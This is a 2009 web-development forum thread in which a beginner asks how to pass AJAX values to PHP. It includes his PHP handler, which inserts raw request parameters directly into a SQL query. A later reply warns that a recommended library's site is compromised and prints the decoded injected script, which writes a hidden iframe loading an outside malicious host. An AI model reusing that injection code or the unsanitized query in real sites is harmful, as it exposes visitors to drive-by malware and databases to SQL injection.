09-17-09, 02:53 AM
Wannabe Coder
Join Date: Aug 2009
Posts: 117
Thanks: 15
Thanked 0 Times in 0 Posts
getting values from ajax
iam getting values from ajax how to store them in variables according to my code
__________________________________________________ ___________
_______________________
i want that to be stored in a php variable can i store it.
One more thing there r no submit button in this page values are generated dynamically.
Last edited by Nico; 09-17-09 at 06:41 AM .
09-17-09, 07:03 AM
-
Join Date: Feb 2006
Posts: 2,516
Thanks: 20
Thanked 109 Times in 106 Posts
Please post your PHP, too.
09-17-09, 09:00 AM
Wannabe Coder
Join Date: Aug 2009
Posts: 117
Thanks: 15
Thanked 0 Times in 0 Posts
Quote:
Originally Posted by
wirehopper
Please post your PHP, too.
this is my php file that ajax is calling
PHP Code:
<?php
include( "not.php" );
include( "db.php" );
//echo"sss $_REQUEST[a] <br>";
$w0 = $_REQUEST [ "a" ];
$w1 = $_REQUEST [ "b" ];
$w2 = $_REQUEST [ "d" ];
$w3 = $_REQUEST [ 'user' ];
$p1 = $_REQUEST [ "c" ];
//echo"sss $w0 <br>";
// echo"sss $w1<br>";
// echo"sss $w2<br>";
// echo"sss $w3 <br>";
//echo"sss $p1 <br>";
$gg = $w1 - $w0 ;
if( $gg == 0 || $gg == "" )
{
echo "<center>null</center>" ;
}
else
{
$p2 = (( $gg )/(( $w3 - $w0 )-( $w2 - $w1 )))* $p1 ;
$re = ceil ( $p2 );
echo "<h4><br><center> $re </center></h4> <br>" ;
//echo"INSERT INTO cement(ps,w0,w1,p1,w2,w3)VALUES('$re','$w0','$w1','$p1','$w2','$w3') orderby id desc"
$re = mysql_query ( "INSERT INTO cement(ps,w0,w1,p1,w2,w3)VALUES(' $re ',' $w0 ',' $w1 ',' $p1 ',' $w2 ',' $w3 ')" );
}
exit();
?>
Last edited by wirehopper; 09-17-09 at 12:23 PM .
09-17-09, 12:25 PM
-
Join Date: Feb 2006
Posts: 2,516
Thanks: 20
Thanked 109 Times in 106 Posts
Is there any javascript sending the values to PHP?
09-18-09, 12:55 AM
Wannabe Coder
Join Date: Aug 2009
Posts: 117
Thanks: 15
Thanked 0 Times in 0 Posts
09-18-09, 04:17 AM
Community Liaison
Join Date: May 2005
Location: Antwerp, Belgium
Posts: 3,165
Thanks: 4
Thanked 25 Times in 25 Posts
then you should google for an "AJAX tutorial" or something similar. It's not that hard to create, so you'll get the hang of it pretty soon.
__________________
"Good judgement comes from experience, and experience comes from bad judgement." -
Fred Brooks
09-19-09, 10:15 PM
Level II Curmudgeon
Join Date: Dec 2004
Posts: 3,027
Thanks: 14
Thanked 35 Times in 33 Posts
I highly recommend "SACK":
http://www.twilightuniverse.com/?page_id=243
Although this time when I went there AVG said it detected a threat, "Exploit link to known threat site". Looks like maybe he got hacked.
After a little checking, yep, he's been hacked with some eval script garbage, which decodes to this:
window.status='Done';document.write('<iframe name=aab072dcc src=\'http://besenok.org/stds/go.php?sid=1&'+Math.round(Math.random()*125325)+'c 065aa22eaca\' width=557 height=225 style=\'display: none\'></iframe>')
Last edited by End User; 09-19-09 at 10:17 PM .
Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
Thread Tools
Display Modes
Linear Mode
Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
HTML code is Off